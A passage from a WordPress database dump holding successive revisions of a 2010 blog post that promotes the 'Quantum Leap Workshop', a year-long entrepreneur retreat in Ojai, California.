bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-19', '', '', '2010-10-07 17:05:02', '2010-10-08 00:05:02', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-19/', 0, 'revision', '', 0),
(1139, 2, '2010-10-07 17:05:15', '2010-10-08 00:05:15', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-20', '', '', '2010-10-07 17:05:15', '2010-10-08 00:05:15', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-20/', 0, 'revision', '', 0),
(1140, 2, '2010-10-07 17:06:08', '2010-10-08 00:06:08', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 20100. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-21', '', '', '2010-10-07 17:06:08', '2010-10-08 00:06:08', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-21/', 0, 'revision', '', 0),
(1141, 2, '2010-10-07 17:08:56', '2010-10-08 00:08:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\n<h1>Now you can!</h1>\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\n\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\n\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\n<strong>Workshop Venue and Format</strong>\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\n\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\n\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\n\n<strong>Early Registration</strong>\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-22', '', '', '2010-10-07 17:08:56', '2010-10-08 00:08:56', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-22/', 0, 'revision', '', 0),
(1142, 2, '2010-10-07 17:10:27', '2010-10-08 00:10:27', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-23', '', '', '2010-10-07 17:10:27', '2010-10-08 00:10:27', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-23/', 0, 'revision', '', 0),
(1143, 2, '2010-10-07 17:10:38', '2010-10-08 00:10:38', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-24', '', '', '2010-10-07 17:10:38', '2010-10-08 00:10:38', '', 1115, 'http://www.whitehotcenter.com/2010/10/07/1115-revision-24/', 0, 'revision', '', 0),
(1144, 2, '2010-10-07 17:14:47', '2010-10-08 00:14:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly18 months of thinking, dreaming, scheming, pretending and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" 